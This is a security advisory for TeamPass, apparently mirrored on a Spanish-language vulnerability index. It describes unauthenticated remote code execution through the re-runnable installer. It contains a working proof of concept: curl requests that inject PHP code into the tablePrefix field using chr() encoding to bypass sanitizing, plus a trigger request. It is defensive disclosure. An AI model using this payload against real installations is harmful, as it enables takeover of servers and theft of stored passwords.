GHSA-8XP7-FH3P-5PCR
Unauthenticated remote code execution via re-runnable installer
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8XP7-FH3P-5PCR divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Hello, I discovered this vulnerability on a client's website while conducting a pentest. Although this is a specific, isolated case, I have decided to report it nonetheless. The installer's entry point, ranging from `install/install-steps/run.step3.php` to `run.step6.php` in version 3.1.4.30, and from `public/install/install-steps/run.step3.php` to `run.step6.php` in the current `master` version, lacks authentication mechanisms, CSRF protection, and any checks to verify whether the installation has already been performed. If the system responds to HTTP requests, anyone with network access can reach it.
Details
The installer endpoint is unauthenticated and writes settings.php by raw concatenation of attacker input; that file is later included by the app, turning string interpolation into PHP code execution.
- Unauthenticated entry + unrestricted dispatcher — install/install-steps/run.step6.php runs with no session/CSRF/install-lock check. It reads POST and dynamically calls any method named in action:
- run.step6.php:158-160 — if (method_exists($this, $action)) call_user_func([$this, $action]); (no allow-list → attacker picks action=settingsFile).
- Attacker-controlled config — checks() connects to the attacker's MySQL (run.step6.php:104-108) and reads _install (:125), so teampassAbsolutePath / teampassSecurePath / teampassSecureFile (write paths) are attacker-controlled.
- Injection sink — settingsFile() interpolates raw input into PHP source:
- run.step6.php:412 — define("DB_PREFIX", "' . $this->inputData['tablePrefix'] . '"); ← primary vector (tablePrefix isn't used for the DB connection, so needs no valid value). dbHost/dbLogin/dbName/dbPort (:408,409,411,413) are equally raw; only dbPw is escaped (:410).
- run.step6.php:436 — file_put_contents($settingsFile, utf8_encode($settingsContent)) writes the poisoned file.
- Sanitizer bypass — dataSanitizerForInstall() (install/tp.functions.php:634) applies strip_tags()/htmlspecialchars() + AntiXSS — all HTML/JS-oriented. $, {, } pass untouched, so a payload with no quotes/tags/<?php (literals built via chr()) survives both layers.
- Trigger — the written settings.php is included on normal use (sources/main.functions.php:3497, :4210), so ${…} / {${…}} inside the define() executes as PHP.
Proof of concept
Reproduced end-to-end, locally, against an unmodified checkout of the public repository (tag `3.1.4.30` and current `master`), using attacker-controlled infrastructure for the network-reachable database required by precondition 2.
Attacker-side setup (not part of the target):
- A MariaDB instance with database `attackerdb`, user `attacker`, and table `_install(key, value)` containing one row: `teampassSecureFile` the filename of an arbitrary readable file placed under the target’s `secrets/` directory (or `includes/config/` on 3.1.x). We tested this with both a valid Defuse-format key and, separately, an unrelated plain-text file, see Precondition 4; both produced the same successful write.
- The unmodified application served from its real document root, simulating a deployed instance.
- PHP 8.2
Reproduction log (clean, reset before each step):
# 1. Baseline — confirm the target file does not exist yet
$ test -f app/config/settings.php && echo YES || echo NO
NO
$ test -f PWNED_MARKER.txt && echo YES || echo NO
NO
# 2. Attack request #1 — POST to the installer, payload in tablePrefix
$ curl -s -X POST http://<target>/install/install-steps/run.step6.php \
--data-urlencode action=settingsFile \
--data-urlencode dbHost=<attacker-db-host> \
--data-urlencode dbLogin=attacker --data-urlencode dbPw=attackerpw \
--data-urlencode dbName=attackerdb --data-urlencode dbPort=<port> \
--data-urlencode 'tablePrefix=pwn_${file_put_contents(<path, as chr() calls>,chr(79).chr(87).chr(78))}'
{"success":true,"message":"Done"}
# 3. Confirm the file was written with the payload, and that NOTHING has executed yet
$ grep DB_PREFIX app/config/settings.php
define("DB_PREFIX", "pwn_${file_put_contents(chr(47)...,chr(79).chr(87).chr(78))}");
$ test -f PWNED_MARKER.txt && echo YES || echo NO
NO <- marker absent: writing the file does not execute it
# 4. Attack request #2 — an ordinary GET, indistinguishable from any visitor’s first request
$ curl -s http://<target>/
(HTTP response — unrelated to the payload)
# 5. Confirm execution
$ test -f PWNED_MARKER.txt && echo YES || echo NO
YES
$ cat PWNED_MARKER.txt
OWNThe marker is absent after step 3 and present after step 5. Isolating the write (step 2) from execution (step 4) removes any ambiguity about whether `file_put_contents` fired at write time (impossible — it is a string literal until included) or at include time (what we are claiming).
Impact
Unauthenticated remote code execution (RCE) with the privileges of the web server user; total compromise of the vault and all secrets stored within it (database keys are located on the same host, :424-428).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistnilsteampassnet/teampass |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-8xp7-fh3p-5pcrLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
